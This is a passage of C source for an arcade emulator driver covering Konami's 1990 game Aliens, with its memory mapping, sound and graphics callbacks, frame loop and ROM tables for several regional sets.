{\r\n\t\treturn K007232ReadReg(0, address & 0x0f);\r\n\t}\r\n\r\n\tswitch (address)\r\n\t{\r\n\t\tcase 0xa000:\r\n\t\tcase 0xa001:\r\n\t\t\treturn BurnYM2151Read();\r\n\r\n\t\tcase 0xc000:\r\n\t\t\tZetSetIRQLine(0, CPU_IRQSTATUS_NONE);\r\n\t\t\treturn *soundlatch;\r\n\t}\r\n\r\n\treturn 0;\r\n}\r\n\r\nstatic void DrvYM2151WritePort(UINT32, UINT32 data)\r\n{\r\n\tINT32 bank_A = ((data >> 1) & 0x01);\r\n\tINT32 bank_B = ((data) & 0x01);\r\n\r\n\tk007232_set_bank(0, bank_A, bank_B );\r\n}\r\n\r\nstatic void DrvK007232VolCallback(INT32 v)\r\n{\r\n\tK007232SetVolume(0, 0, (v >> 0x4) * 0x11, 0);\r\n\tK007232SetVolume(0, 1, 0, (v & 0x0f) * 0x11);\r\n}\r\n\r\nstatic void aliens_set_lines(INT32 lines)\r\n{\r\n\tnDrvKonamiBank[0] = lines;\r\n\r\n\tINT32 nBank = (lines & 0x1f) * 0x2000;\r\n\r\n\tkonamiMapMemory(DrvKonROM + 0x10000 + nBank, 0x2000, 0x3fff, MAP_ROM); \r\n}\r\n\r\nstatic void K052109Callback(INT32 layer, INT32 bank, INT32 *code, INT32 *color, INT32 *, INT32 *)\r\n{\r\n\t*code |= ((*color & 0x3f) << 8) | (bank << 14);\r\n\t*code &= 0xffff;\r\n\t*color = (layer << 2) + ((*color & 0xc0) >> 6);\r\n}\r\n\r\nstatic void K051960Callback(INT32 *code, INT32 *color,INT32 *priority, INT32 *shadow)\r\n{\r\n\tswitch (*color & 0x70)\r\n\t{\r\n\t\tcase 0x10: *priority = 0x00; break; \r\n\t\tcase 0x00: *priority = 0xf0; break;\r\n\t\tcase 0x40: *priority = 0xfc; break;\r\n\t\tcase 0x20:\r\n\t\tcase 0x60: *priority = 0xfe; break;\r\n\t\tcase 0x50: *priority = 0xcc; break;\r\n\t\tcase 0x30:\r\n\t\tcase 0x70: *priority = 0xee; break;\r\n\t}\r\n\r\n\t*code |= (*color & 0x80) << 6;\r\n\t*code &= 0x3fff;\r\n\t*color = 16 + (*color & 0x0f);\r\n\t*shadow = 0;\r\n}\r\n\r\nstatic INT32 DrvDoReset()\r\n{\r\n\tDrvReset = 0;\r\n\r\n\tmemset (AllRam, 0, RamEnd - AllRam);\r\n\r\n\tkonamiOpen(0);\r\n\tkonamiReset();\r\n\tkonamiClose();\r\n\r\n\tZetOpen(0);\r\n\tZetReset();\r\n\tZetClose();\r\n\r\n\tK007232Reset(0);\r\n\tBurnYM2151Reset();\r\n\r\n\tKonamiICReset();\r\n\r\n\treturn 0;\r\n}\r\n\r\nstatic INT32 MemIndex()\r\n{\r\n\tUINT8 *Next; Next = AllMem;\r\n\r\n\tDrvKonROM\t\t= Next; Next += 0x040000;\r\n\tDrvZ80ROM\t\t= Next; Next += 0x010000;\r\n\r\n\tDrvGfxROM0\t\t= Next; Next += 0x200000;\r\n\tDrvGfxROM1\t\t= Next; Next += 0x200000;\r\n\tDrvGfxROMExp0\t\t= Next; Next += 0x400000;\r\n\tDrvGfxROMExp1\t\t= Next; Next += 0x400000;\r\n\r\n\tDrvSndROM\t\t= Next; Next += 0x040000;\r\n\r\n\tDrvPalette\t\t= (UINT32*)Next; Next += 0x200 * sizeof(UINT32);\r\n\r\n\tAllRam\t\t\t= Next;\r\n\r\n\tDrvBankRAM\t\t= Next; Next += 0x000400;\r\n\tDrvKonRAM\t\t= Next; Next += 0x001c00;\r\n\tDrvPalRAM\t\t= Next; Next += 0x000400;\r\n\r\n\tDrvZ80RAM\t\t= Next; Next += 0x000800;\r\n\r\n\tsoundlatch\t\t= Next; Next += 0x000001;\r\n\r\n\tnDrvRamBank\t\t= Next; Next += 0x000001;\r\n\tnDrvKonamiBank\t\t= Next; Next += 0x000001;\r\n\r\n\tRamEnd\t\t\t= Next;\r\n\tMemEnd\t\t\t= Next;\r\n\r\n\treturn 0;\r\n}\r\n\r\nstatic INT32 DrvInit()\r\n{\r\n\tGenericTilesInit();\r\n\r\n\tAllMem = NULL;\r\n\tMemIndex();\r\n\tINT32 nLen = MemEnd - (UINT8 *)0;\r\n\tif ((AllMem = (UINT8 *)BurnMalloc(nLen)) == NULL) return 1;\r\n\tmemset(AllMem, 0, nLen);\r\n\tMemIndex();\r\n\r\n\t{\r\n\t\tif (BurnLoadRom(DrvKonROM + 0x030000, 0, 1)) return 1;\r\n\t\tif (BurnLoadRom(DrvKonROM + 0x010000, 1, 1)) return 1;\r\n\t\tmemcpy (DrvKonROM + 0x08000, DrvKonROM + 0x38000, 0x8000);\r\n\r\n\t\tif (BurnLoadRom(DrvZ80ROM + 0x000000, 2, 1)) return 1;\r\n\r\n\t\tif (BurnLoadRomExt(DrvGfxROM0 + 0x000000, 3, 4, LD_GROUP(2))) return 1;\r\n\t\tif (BurnLoadRomExt(DrvGfxROM0 + 0x000002, 4, 4, LD_GROUP(2))) return 1;\r\n\t\tif (BurnLoadRomExt(DrvGfxROM0 + 0x100000, 5, 4, LD_GROUP(2))) return 1;\r\n\t\tif (BurnLoadRomExt(DrvGfxROM0 + 0x100002, 6, 4, LD_GROUP(2))) return 1;\r\n\r\n\t\tif (BurnLoadRomExt(DrvGfxROM1 + 0x000000, 7, 4, LD_GROUP(2))) return 1;\r\n\t\tif (BurnLoadRomExt(DrvGfxROM1 + 0x000002, 8, 4, LD_GROUP(2))) return 1;\r\n\t\tif (BurnLoadRomExt(DrvGfxROM1 + 0x100000, 9, 4, LD_GROUP(2))) return 1;\r\n\t\tif (BurnLoadRomExt(DrvGfxROM1 + 0x100002, 10, 4, LD_GROUP(2))) return 1;\r\n\r\n\t\tif (BurnLoadRom(DrvSndROM + 0x000000, 11, 1)) return 1;\r\n\r\n\t\tK052109GfxDecode(DrvGfxROM0, DrvGfxROMExp0, 0x200000);\r\n\t\tK051960GfxDecode(DrvGfxROM1, DrvGfxROMExp1, 0x200000);\r\n\t}\r\n\r\n\tkonamiInit(0);\r\n\tkonamiOpen(0);\r\n\tkonamiMapMemory(DrvBankRAM, 0x0000, 0x03ff, MAP_RAM);\r\n\tkonamiMapMemory(DrvKonRAM, 0x0400, 0x1fff, MAP_RAM);\r\n\tkonamiMapMemory(DrvKonROM + 0x10000, 0x2000, 0x3fff, MAP_ROM);\r\n\tkonamiMapMemory(DrvKonROM + 0x08000, 0x8000, 0xffff, MAP_ROM);\r\n\tkonamiSetWriteHandler(aliens_main_write);\r\n\tkonamiSetReadHandler(aliens_main_read);\r\n\tkonamiSetlinesCallback(aliens_set_lines);\r\n\tkonamiClose();\r\n\r\n\tZetInit(0);\r\n\tZetOpen(0);\r\n\tZetMapArea(0x0000, 0x7fff, 0, DrvZ80ROM);\r\n\tZetMapArea(0x0000, 0x7fff, 2, DrvZ80ROM);\r\n\tZetMapArea(0x8000, 0x87ff, 0, DrvZ80RAM);\r\n\tZetMapArea(0x8000, 0x87ff, 1, DrvZ80RAM);\r\n\tZetMapArea(0x8000, 0x87ff, 2, DrvZ80RAM);\r\n\tZetSetWriteHandler(aliens_sound_write);\r\n\tZetSetReadHandler(aliens_sound_read);\r\n\tZetClose();\r\n\r\n\tK052109Init(DrvGfxROM0, DrvGfxROMExp0, 0x1fffff);\r\n\tK052109SetCallback(K052109Callback);\r\n\tK052109AdjustScroll(8, 0);\r\n\r\n\tK051960Init(DrvGfxROM1, DrvGfxROMExp1, 0x1fffff);\r\n\tK051960SetCallback(K051960Callback);\r\n\tK051960SetSpriteOffset(8, 0);\r\n\r\n\tBurnYM2151Init(3579545);\r\n\tBurnYM2151SetPortHandler(&DrvYM2151WritePort);\r\n\tBurnYM2151SetAllRoutes(0.60, BURN_SND_ROUTE_BOTH);\r\n\r\n\tK007232Init(0, 3579545, DrvSndROM, 0x40000);\r\n\tK007232SetPortWriteHandler(0, DrvK007232VolCallback);\r\n\tK007232PCMSetAllRoutes(0, 0.20, BURN_SND_ROUTE_BOTH);\r\n\r\n\tDrvDoReset();\r\n\r\n\treturn 0;\r\n}\r\n\r\nstatic INT32 DrvExit()\r\n{\r\n\tGenericTilesExit();\r\n\r\n\tKonamiICExit();\r\n\r\n\tkonamiExit();\r\n\tZetExit();\r\n\r\n\tK007232Exit();\r\n\tBurnYM2151Exit();\r\n\r\n\tBurnFree (AllMem);\r\n\r\n\treturn 0;\r\n}\r\n\r\nstatic INT32 DrvDraw()\r\n{\r\n\tKonamiRecalcPalette(DrvPalRAM, DrvPalette, 0x400);\r\n\r\n\tK052109UpdateScroll();\r\n\r\n\tKonamiClearBitmaps(DrvPalette[0x0040]);\r\n\r\n\tif (nBurnLayer & 1) K052109RenderLayer(1, 0, 1);\r\n\tif (nBurnLayer & 2) K052109RenderLayer(2, 0, 2);\r\n\tif (nBurnLayer & 4) K052109RenderLayer(0, 0, 4);\r\n\r\n\tif (nSpriteEnable & 1) K051960SpritesRender(-1, -1);\r\n\r\n\tKonamiBlendCopy(DrvPalette);\r\n\r\n\treturn 0;\r\n}\r\n\r\nstatic INT32 DrvFrame()\r\n{\r\n\tif (DrvReset) {\r\n\t\tDrvDoReset();\r\n\t}\r\n\r\n\t{\r\n\t\tmemset (DrvInputs, 0xff, sizeof ( DrvInputs ));\r\n\r\n\t\tfor (INT32 i = 0; i < 8; i++) \r\n\t\t{\r\n\t\t\tDrvInputs[0] ^= (DrvJoy1[i] & 1) << i;\r\n\t\t\tDrvInputs[1] ^= (DrvJoy2[i] & 1) << i;\r\n\t\t\tDrvDips[2] ^= (DrvJoy3[i] & 1) << i;\r\n\t\t}\r\n\r\n\t\t// Clear opposites\r\n\t\tif ((DrvInputs[0] & 0x03) == 0) DrvInputs[0] |= 0x03;\r\n\t\tif ((DrvInputs[0] & 0x0c) == 0) DrvInputs[0] |= 0x0c;\r\n\t\tif ((DrvInputs[1] & 0x03) == 0) DrvInputs[1] |= 0x03;\r\n\t\tif ((DrvInputs[1] & 0x0c) == 0) DrvInputs[1] |= 0x0c;\r\n\t}\r\n\r\n\tkonamiNewFrame();\r\n\tZetNewFrame();\r\n\r\n\tINT32 nSoundBufferPos = 0;\r\n\tINT32 nInterleave = nBurnSoundLen;\r\n\tINT32 nCyclesTotal[2] = { 6000000 / 60, 3579545 / 60 };\r\n\tINT32 nCyclesDone[2] = { 0, 0 };\r\n\r\n\tZetOpen(0);\r\n\tkonamiOpen(0);\r\n\r\n\tfor (INT32 i = 0; i < nInterleave; i++)\r\n\t{\r\n\t\tINT32 nSegment = (nCyclesTotal[0] / nInterleave) * (i + 1);\r\n\r\n\t\tnCyclesDone[0] += konamiRun(nSegment - nCyclesDone[0]);\r\n\r\n\t\tnSegment = (nCyclesTotal[1] / nInterleave) * (i + 1);\r\n\r\n\t\tnCyclesDone[1] += ZetRun(nSegment - nCyclesDone[1]);\r\n\r\n\t\tif (pBurnSoundOut) {\r\n\t\t\tINT32 nSegmentLength = nBurnSoundLen / nInterleave;\r\n\t\t\tINT16* pSoundBuf = pBurnSoundOut + (nSoundBufferPos << 1);\r\n\t\t\tBurnYM2151Render(pSoundBuf, nSegmentLength);\r\n\t\t\tK007232Update(0, pSoundBuf, nSegmentLength);\r\n\t\t\tnSoundBufferPos += nSegmentLength;\r\n\t\t}\r\n\t}\r\n\r\n\tif (K051960_irq_enabled) konamiSetIrqLine(KONAMI_IRQ_LINE, CPU_IRQSTATUS_AUTO);\r\n\r\n\tif (pBurnSoundOut) {\r\n\t\tINT32 nSegmentLength = nBurnSoundLen - nSoundBufferPos;\r\n\t\tif (nSegmentLength) {\r\n\t\t\tINT16* pSoundBuf = pBurnSoundOut + (nSoundBufferPos << 1);\r\n\t\t\tBurnYM2151Render(pSoundBuf, nSegmentLength);\r\n\t\t\tK007232Update(0, pSoundBuf, nSegmentLength);\r\n\t\t}\r\n\t}\r\n\r\n\tkonamiClose();\r\n\tZetClose();\r\n\r\n\tif (pBurnDraw) {\r\n\t\tDrvDraw();\r\n\t}\r\n\r\n\treturn 0;\r\n}\r\n\r\nstatic INT32 DrvScan(INT32 nAction,INT32 *pnMin)\r\n{\r\n\tstruct BurnArea ba;\r\n\r\n\tif (pnMin) {\r\n\t\t*pnMin = 0x029704;\r\n\t}\r\n\r\n\tif (nAction & ACB_VOLATILE) {\t\t\r\n\t\tmemset(&ba, 0, sizeof(ba));\r\n\r\n\t\tba.Data\t = AllRam;\r\n\t\tba.nLen\t = RamEnd - AllRam;\r\n\t\tba.szName = \"All Ram\";\r\n\t\tBurnAcb(&ba);\r\n\r\n\t\tkonamiCpuScan(nAction);\r\n\t\tZetScan(nAction);\r\n\r\n\t\tBurnYM2151Scan(nAction, pnMin);\r\n\t\tK007232Scan(nAction, pnMin);\r\n\r\n\t\tKonamiICScan(nAction);\r\n\t}\r\n\r\n\tif (nAction & ACB_WRITE) {\r\n\t\tkonamiOpen(0);\r\n\t\tset_ram_bank(nDrvRamBank[0]);\r\n\t\taliens_set_lines(nDrvKonamiBank[0]);\r\n\t\tkonamiClose();\r\n\t}\r\n\r\n\treturn 0;\r\n}\r\n\r\n\r\n// Aliens (World set 1)\r\n\r\nstatic struct BurnRomInfo aliensRomDesc[] = {\r\n\t{ \"875_j02.e24\",\t0x10000, 0x56c20971, 1 | BRF_PRG | BRF_ESS }, // 0 Konami CPU Code\r\n\t{ \"875_j01.c24\",\t0x20000, 0x6a529cd6, 1 | BRF_PRG | BRF_ESS }, // 1\r\n\r\n\t{ \"875_b03.g04\",\t0x08000, 0x1ac4d283, 2 | BRF_PRG | BRF_ESS }, // 2 Z80 Code\r\n\r\n\t{ \"875b11.k13\",\t\t0x80000, 0x89c5c885, 3 | BRF_GRA }, // 3 Background Tiles\r\n\t{ \"875b12.k19\",\t\t0x80000, 0xea6bdc17, 3 | BRF_GRA }, // 4\r\n\t{ \"875b07.j13\",\t\t0x40000, 0xe9c56d66, 3 | BRF_GRA }, // 5\r\n\t{ \"875b08.j19\",\t\t0x40000, 0xf9387966, 3 | BRF_GRA }, // 6\r\n\r\n\t{ \"875b10.k08\",\t\t0x80000, 0x0b1035b1, 4 | BRF_GRA }, // 7 Sprites\r\n\t{ \"875b09.k02\",\t\t0x80000, 0xe76b3c19, 4 | BRF_GRA }, // 8\r\n\t{ \"875b06.j08\",\t\t0x40000, 0x081a0566, 4 | BRF_GRA }, // 9\r\n\t{ \"875b05.j02\",\t\t0x40000, 0x19a261f2, 4 | BRF_GRA }, // 10\r\n\r\n\t{ \"875b04.e05\",\t\t0x40000, 0x4e209ac8, 5 | BRF_SND }, // 11 K007232 Samples\r\n\r\n\t{ \"821a08.h14\",\t\t0x00100, 0x7da55800, 6 | BRF_OPT }, // 12 Timing Proms\r\n};\r\n\r\nSTD_ROM_PICK(aliens)\r\nSTD_ROM_FN(aliens)\r\n\r\nstruct BurnDriver BurnDrvAliens = {\r\n\t\"aliens\", NULL, NULL, NULL, \"1990\",\r\n\t\"Aliens (World set 1)\\0\", NULL, \"Konami\", \"GX875\",\r\n\tNULL, NULL, NULL, NULL,\r\n\tBDF_GAME_WORKING, 2, HARDWARE_PREFIX_KONAMI, GBF_PLATFORM | GBF_HORSHOOT, 0,\r\n\tNULL, aliensRomInfo, aliensRomName, NULL, NULL, NULL, NULL, AliensInputInfo, AliensDIPInfo,\r\n\tDrvInit, DrvExit, DrvFrame, DrvDraw, DrvScan, &DrvRecalc, 0x200,\r\n\t288, 224, 4, 3\r\n};\r\n\r\n\r\n// Aliens (World set 2)\r\n\r\nstatic struct BurnRomInfo aliens2RomDesc[] = {\r\n\t{ \"875_p02.e24\",\t0x10000, 0x4edd707d, 1 | BRF_PRG | BRF_ESS }, // 0 Konami CPU Code\r\n\t{ \"875_n01.c24\",\t0x20000, 0x106cf59c, 1 | BRF_PRG | BRF_ESS }, // 1\r\n\r\n\t{ \"875_b03.g04\",\t0x08000, 0x1ac4d283, 2 | BRF_PRG | BRF_ESS }, // 2 Z80 Code\r\n\r\n\t{ \"875b11.k13\",\t\t0x80000, 0x89c5c885, 3 | BRF_GRA }, // 3 Background Tiles\r\n\t{ \"875b12.k19\",\t\t0x80000, 0xea6bdc17, 3 | BRF_GRA }, // 4\r\n\t{ \"875b07.j13\",\t\t0x40000, 0xe9c56d66, 3 | BRF_GRA }, // 5\r\n\t{ \"875b08.j19\",\t\t0x40000, 0xf9387966, 3 | BRF_GRA }, // 6\r\n\r\n\t{ \"875b10.k08\",\t\t0x80000, 0x0b1035b1, 4 | BRF_GRA }, // 7 Sprites\r\n\t{ \"875b09.k02\",\t\t0x80000, 0xe76b3c19, 4 | BRF_GRA }, // 8\r\n\t{ \"875b06.j08\",\t\t0x40000, 0x081a0566, 4 | BRF_GRA }, // 9\r\n\t{ \"875b05.j02\",\t\t0x40000, 0x19a261f2, 4 | BRF_GRA }, // 10\r\n\r\n\t{ \"875b04.e05\",\t\t0x40000, 0x4e209ac8, 5 | BRF_SND }, // 11 K007232 Samples\r\n\r\n\t{ \"821a08.h14\",\t\t0x00100, 0x7da55800, 6 | BRF_OPT }, // 12 Timing Proms\r\n};\r\n\r\nSTD_ROM_PICK(aliens2)\r\nSTD_ROM_FN(aliens2)\r\n\r\nstruct BurnDriver BurnDrvAliens2 = {\r\n\t\"aliens2\", \"aliens\", NULL, NULL, \"1990\",\r\n\t\"Aliens (World set 2)\\0\", NULL, \"Konami\", \"GX875\",\r\n\tNULL, NULL, NULL, NULL,\r\n\tBDF_GAME_WORKING | BDF_CLONE, 2, HARDWARE_PREFIX_KONAMI, GBF_PLATFORM | GBF_HORSHOOT, 0,\r\n\tNULL, aliens2RomInfo, aliens2RomName, NULL, NULL, NULL, NULL, AliensInputInfo, AliensDIPInfo,\r\n\tDrvInit, DrvExit, DrvFrame, DrvDraw, DrvScan, &DrvRecalc, 0x200,\r\n\t288, 224, 4, 3\r\n};\r\n\r\n\r\n// Aliens (World set 3)\r\n\r\nstatic struct BurnRomInfo aliens3RomDesc[] = {\r\n\t{ \"875_w3_2.e24\",\t0x10000, 0xf917f7b5, 1 | BRF_PRG | BRF_ESS }, // 0 Konami CPU Code\r\n\t{ \"875_w3_1.c24\",\t0x20000, 0x3c0006fb, 1 | BRF_PRG | BRF_ESS }, // 1\r\n\r\n\t{ \"875_b03.g04\",\t0x08000, 0x1ac4d283, 2 | BRF_PRG | BRF_ESS }, // 2 Z80 Code\r\n\r\n\t{ \"875b11.k13\",\t\t0x80000, 0x89c5c885, 3 | BRF_GRA }, // 3 Background Tiles\r\n\t{ \"875b12.k19\",\t\t0x80000, 0xea6bdc17, 3 | BRF_GRA }, // 4\r\n\t{ \"875b07.j13\",\t\t0x40000, 0xe9c56d66, 3 | BRF_GRA }, // 5\r\n\t{ \"875b08.j19\",\t\t0x40000, 0xf9387966, 3 | BRF_GRA }, // 6\r\n\r\n\t{ \"875b10.k08\",\t\t0x80000, 0x0b1035b1, 4 | BRF_GRA }, // 7 Sprites\r\n\t{ \"875b09.k02\",\t\t0x80000, 0xe76b3c19, 4 | BRF_GRA }, // 8\r\n\t{ \"875b06.j08\",\t\t0x40000, 0x081a0566, 4 | BRF_GRA }, // 9\r\n\t{ \"875b05.j02\",\t\t0x40000, 0x19a261f2, 4 | BRF_GRA }, // 10\r\n\r\n\t{ \"875b04.e05\",\t\t0x40000, 0x4e209ac8, 5 | BRF_SND }, // 11 K007232 Samples\r\n\r\n\t{ \"821a08.h14\",\t\t0x00100, 0x7da55800, 6 | BRF_OPT }, // 12 Timing Proms\r\n};\r\n\r\nSTD_ROM_PICK(aliens3)\r\nSTD_ROM_FN(aliens3)\r\n\r\nstruct BurnDriver BurnDrvAliens3 = {\r\n\t\"aliens3\", \"aliens\", NULL, NULL, \"1990\",\r\n\t\"Aliens (World set 3)\\0\", NULL, \"Konami\", \"GX875\",\r\n\tNULL, NULL, NULL, NULL,\r\n\tBDF_GAME_WORKING | BDF_CLONE, 2, HARDWARE_PREFIX_KONAMI, GBF_PLATFORM | GBF_HORSHOOT, 0,\r\n\tNULL, aliens3RomInfo, aliens3RomName, NULL, NULL, NULL, NULL, AliensInputInfo, AliensDIPInfo,\r\n\tDrvInit, DrvExit, DrvFrame, DrvDraw, DrvScan, &DrvRecalc, 0x200,\r\n\t288, 224, 4, 3\r\n};\r\n\r\n\r\n// Aliens (US set 1)\r\n\r\nstatic struct BurnRomInfo aliensuRomDesc[] = {\r\n\t{ \"875_n02.e24\",\t0x10000, 0x24dd612e, 1 | BRF_PRG | BRF_ESS }, // 0 Konami CPU Code\r\n\t{ \"875_n01.c24\",\t0x20000, 0x106cf59c, 1 | BRF_PRG | BRF_ESS }, // 1\r\n\r\n\t{ \"875_b03.g04\",\t0x08000, 0x1ac4d283, 2 | BRF_PRG | BRF_ESS }, // 2 Z80 Code\r\n\r\n\t{ \"875b11.k13\",\t\t0x80000, 0x89c5c885, 3 | BRF_GRA }, // 3 Background Tiles\r\n\t{ \"875b12.k19\",\t\t0x80000, 0xea6bdc17, 3 | BRF_GRA }, // 4\r\n\t{ \"875b07.j13\",\t\t0x40000, 0xe9c56d66, 3 | BRF_GRA }, // 5\r\n\t{ \"875b08.j19\",\t\t0x40000, 0xf9387966, 3 | BRF_GRA }, // 6\r\n\r\n\t{ \"875b10.k08\",\t\t0x80000, 0x0b1035b1, 4 | BRF_GRA }, // 7 Sprites\r\n\t{ \"875b09.k02\",\t\t0x80000, 0xe76b3c19, 4 | BRF_GRA }, // 8\r\n\t{ \"875b06.j08\",\t\t0x40000, 0x081a0566, 4 | BRF_GRA }, // 9\r\n\t{ \"875b05.j02\",\t\t0x40000, 0x19a261f2, 4 | BRF_GRA }, // 10\r\n\r\n\t{ \"875b04.e05\",\t\t0x40000, 0x4e209ac8, 5 | BRF_SND }, // 11 K007232 Samples\r\n\r\n\t{ \"821a08.h14\",\t\t0x00100, 0x7da55800, 6 | BRF_OPT }, // 12 Timing Proms\r\n};\r\n\r\nSTD_ROM_PICK(aliensu)\r\nSTD_ROM_FN(aliensu)\r\n\r\nstruct BurnDriver BurnDrvAliensu = {\r\n\t\"aliensu\", \"aliens\", NULL, NULL, \"1990\",\r\n\t\"Aliens (US set 1)\\0\", NULL, \"Konami\", \"GX875\",\r\n\tNULL, NULL, NULL, NULL,\r\n\tBDF_GAME_WORKING | BDF_CLONE, 2, HARDWARE_PREFIX_KONAMI, GBF_PLATFORM | GBF_HORSHOOT, 0,\r\n\tNULL, aliensuRomInfo, aliensuRomName, NULL, NULL, NULL, NULL, AliensInputInfo, AliensDIPInfo,\r\n\tDrvInit, DrvExit, DrvFrame, DrvDraw, DrvScan, &DrvRecalc, 0x200,\r\n\t288, 224, 4, 3\r\n};\r\n\r\n\r\n// Aliens (US set 2)\r\n\r\nstatic struct BurnRomInfo aliensu2RomDesc[] = {\r\n\t{ \"875_h02.e24\",\t0x10000, 0x328ddb15, 1 | BRF_PRG | BRF_ESS }, // 0 Konami CPU Code\r\n\t{ \"875_h01.c24\",\t0x20000, 0xba7f5489, 1 | BRF_PRG | BRF_ESS }, // 1\r\n\r\n\t{ \"875_b03.g04\",\t0x08000, 0x1ac4d283, 2 | BRF_PRG | BRF_ESS }, // 2 Z80 Code\r\n\r\n\t{ \"875b11.k13\",\t\t0x80000, 0x89c5c885, 3 | BRF_GRA }, // 3 Background Tiles\r\n\t{ \"875b12.k19\",\t\t0x80000, 0xea6bdc17, 3 | BRF_GRA }, // 4\r\n\t{ \"875b07.j13\",\t\t0x40000, 0xe9c56d66, 3 | BRF_GRA }, // 5\r\n\t{ \"875b08.j19\",\t\t0x40000, 0xf9387966, 3 | BRF_GRA }, // 6\r\n\r\n\t{ \"875b10.k08\",\t\t0x80000, 0x0b1035b1, 4 | BRF_GRA }, // 7 Sprites\r\n\t{ \"875b09.k02\",\t\t0x80000, 0xe76b3c19, 4 | BRF_GRA }, // 8\r\n\t{ \"875b06.j08\",\t\t0x40000, 0x081a0566, 4 | BRF_GRA }, // 9\r\n\t{ \"875b05.j02\",\t\t0x40000, 0x19a261f2, 4 | BRF_GRA }, // 10\r\n\r\n\t{ \"875b04.e05\",\t\t0x40000, 0x4e209ac8, 5 | BRF_SND }, // 11 K007232 Samples\r\n\r\n\t{ \"821a08.h14\",\t\t0x00100, 0x7da55800, 6 | BRF_OPT }, // 12 Timing Proms\r\n};\r\n\r\nSTD_ROM_PICK(aliensu2)\r\nSTD_ROM_FN(aliensu2)\r\n\r\nstruct BurnDriver BurnDrvAliensu2 = {\r\n\t\"aliensu2\", \"aliens\", NULL, NULL, \"1990\",\r\n\t\"Aliens (US set 2)\\0\", NULL, \"Konami\", \"GX875\",\r\n\tNULL, NULL, NULL, NULL,\r\n\tBDF_GAME_WORKING | BDF_CLONE, 2, HARDWARE_PREFIX_KONAMI, GBF_PLATFORM | GBF_HORSHOOT, 0,\r\n\tNULL, aliensu2RomInfo, aliensu2RomName, NULL, NULL, NULL, NULL, AliensInputInfo, AliensDIPInfo,\r\n\tDrvInit, DrvExit, DrvFrame, DrvDraw, DrvScan, &DrvRecalc, 0x200,\r\n\t288, 224, 4, 3\r\n};\r\n\r\n\r\n// Aliens (Japan set 1)\r\n\r\nstatic struct BurnRomInfo aliensjRomDesc[] = {\r\n\t{ \"875_m02.e24\",\t0x10000, 0x54a774e5, 1 | BRF_PRG | BRF_ESS }, // 0 Konami CPU Code\r\n\t{ \"875_m01.c24\",\t0x20000, 0x1663d3dc, 1 | BRF_PRG | BRF_ESS }, // 1\r\n\r\n\t{ \"875_k03.g04\",\t0x08000, 0xbd86264d, 2 | BRF_PRG | BRF_ESS }, // 2 Z80 Code\r\n\r\n\t{ \"875b11.k13\",\t\t0x80000, 0x89c5c885, 3 | BRF_GRA }, // 3 Background Tiles\r\n\t{ \"875b12.k19\",\t\t0x80000, 0xea6bdc17, 3 | BRF_GRA }, // 4\r\n\t{ \"875b07.j13\",\t\t0x40000, 0xe9c56d66, 3 | BRF_GRA }, // 5\r\n\t{ \"875b08.j19\",\t\t0x40000, 0xf9387966, 3 | BRF_GRA }, // 6\r\n\r\n\t{ \"875b10.k08\",\t\t0x80000, 0x0b1035b1, 4 | BRF_GRA }, // 7 Sprites\r\n\t{ \"875b09.k02\",\t\t0x80000, 0xe76b3c19, 4 | BRF_GRA }, // 8\r\n\t{ \"875b06.j08\",\t\t0x40000, 0x081a0566, 4 | BRF_GRA }, // 9\r\n\t{ \"875b05.j02\",\t\t0x40000, 0x19a261f2, 4 | BRF_GRA }, // 10\r\n\r\n\t{ \"875b04.e05\",\t\t0x40000, 0x4e209ac8, 5 | BRF_SND }, // 11 K007232 Samples\r\n\r\n\t{ \"821a08.h14\",\t\t0x00100, 0x7da55800, 6 | BRF_OPT }, // 12 Timing Proms\r\n};\r\n\r\nSTD_ROM_PICK(aliensj)\r\nSTD_ROM_FN(aliensj)\r\n\r\nstruct BurnDriver BurnDrvAliensj = {\r\n\t\"aliensj\", \"aliens\", NULL, NULL, \"1990\",\r\n\t\"Aliens (Japan set 1)\\0\", NULL, \"Konami\", \"GX875\",\r\n\tNULL, NULL, NULL, NULL,\r\n\tBDF_GAME_WORKING | BDF_CLONE, 2, HARDWARE_PREFIX_KONAMI, GBF_PLATFORM | GBF_HORSHOOT, 0,\r\n\tNULL, aliensjRomInfo, aliensjRomName, NULL, NULL, NULL, NULL, AliensInputInfo, AliensDIPInfo,\r\n\tDrvInit, DrvExit, DrvFrame, DrvDraw, DrvScan, &DrvRecalc, 0x200,\r\n\t288, 224, 4, 3\r\n};\r\n\r\n\r\n// Aliens (Japan set 2)\r\n\r\nstatic struct BurnRomInfo aliensj2RomDesc[] = {\r\n\t{ \"875_j2_2.e24\",\t0x10000, 0x4bb84952, 1 | BRF_PRG | BRF_ESS }, // 0 Konami CPU Code\r\n\t{ \"875_m01.c24\",\t0x20000, 0x1663d3dc, 1 | BRF_PRG | BRF_ESS }, // 1\r\n\r\n\t{ \"875_k03.g04\",\t0x08000, 0xbd86264d, 2 | BRF_PRG | BRF_ESS }, // 2 Z80 Code\r\n\r\n\t{ \"875b11.k13\",\t\t0x80000, 0x89c5c885, 3 | BRF_GRA }, // 3 Background Tiles\r\n\t{ \"875b12.k19\",\t\t0x80000, 0xea6bdc17, 3 | BRF_GRA }, // 4\r\n\t{ \"875b07.j13\",\t\t0x40000, 0xe9c56d66, 3 | BRF_GRA }, // 5\r\n\t{ \"875b08.j19\",\t\t0x40000, 0xf9387966, 3 | BRF_GRA }, // 6\r\n\r\n\t{ \"875b10.k08\",\t\t0x80000, 0x0b1035b1, 4 | BRF_GRA }, // 7 Sprites\r\n\t{ \"875b09.k02\",\t\t0x80000, 0xe76b3c19, 4 | BRF_GRA }, // 8\r\n\t{ \"875b06.j08\",\t\t0x40000, 0x081a0566, 4 | BRF_GRA }, // 9\r\n\t{ \"875b05.j02\",\t\t0x40000, 0x19a261f2, 4 | BRF_GRA }, // 10\r\n\r\n\t{ \"875b04.e05\",\t\t0x40000, 0x4e209ac8, 5 | BRF_SND }, // 11 K007232 Samples\r\n\r\n\t{ \"821a08.h14\",\t\t0x00100, 0x7da55800, 6 | BRF_OPT }, // 12 Timing Proms\r\n};\r\n\r\nSTD_ROM_PICK(aliensj2)\r\nSTD_ROM_FN(aliensj2)\r\n\r\nstruct BurnDriver BurnDrvAliensj2 = {\r\n\t\"aliensj2\", \"aliens\", NULL, NULL, \"1990\",\r\n\t\"Aliens (Japan set 2)\\0\", NULL, \"Konami\", \"GX875\",\r\n\tNULL, NULL, NULL, NULL,\r\n\tBDF_GAME_WORKING | BDF_CLONE, 2, HARDWARE_PREFIX_KONAMI, GBF_PLATFORM | GBF_HORSHOOT, 0,\r\n\tNULL, aliensj2RomInfo, aliensj2RomName, NULL, NULL, NULL, NULL, AliensInputInfo, 